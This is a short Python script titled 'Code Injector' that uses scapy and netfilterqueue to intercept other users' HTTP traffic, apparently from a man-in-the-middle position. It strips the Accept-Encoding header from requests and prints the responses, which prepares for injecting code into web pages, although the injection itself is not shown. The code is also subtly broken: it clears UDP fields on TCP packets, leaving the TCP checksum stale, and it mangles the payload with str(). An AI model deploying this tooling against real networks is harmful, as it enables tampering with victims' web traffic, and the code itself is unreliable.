Code Injector

from scapy.all import *
import netfilterqueue
import re

def set_load(pkt, load):
    pkt[Raw].load = load
    try:
        del pkt[IP].len
        del pkt[IP].chksum
        del pkt[UDP].len
        del pkt[UDP].chksum
    except:
        pass
    return pkt


def process(packet):
    pkt = IP(packet.get_payload())
    if pkt.haslayer(Raw):
        if pkt[TCP].dport == 80:
            print('[+]Request')
            load = pkt[Raw].load
            mod_load = re.sub("Accept-Encoding:.*?\\r\\n",'',str(load))
            new_packet = set_load(pkt, mod_load)
            packet.set_payload(bytes(new_packet))
        elif pkt[TCP].sport == 80:
            print("[+]Response")
            print(pkt.show())
    packet.accept()



queue = netfilterqueue.NetfilterQueue()
queue.bind(0,process)
queue.run()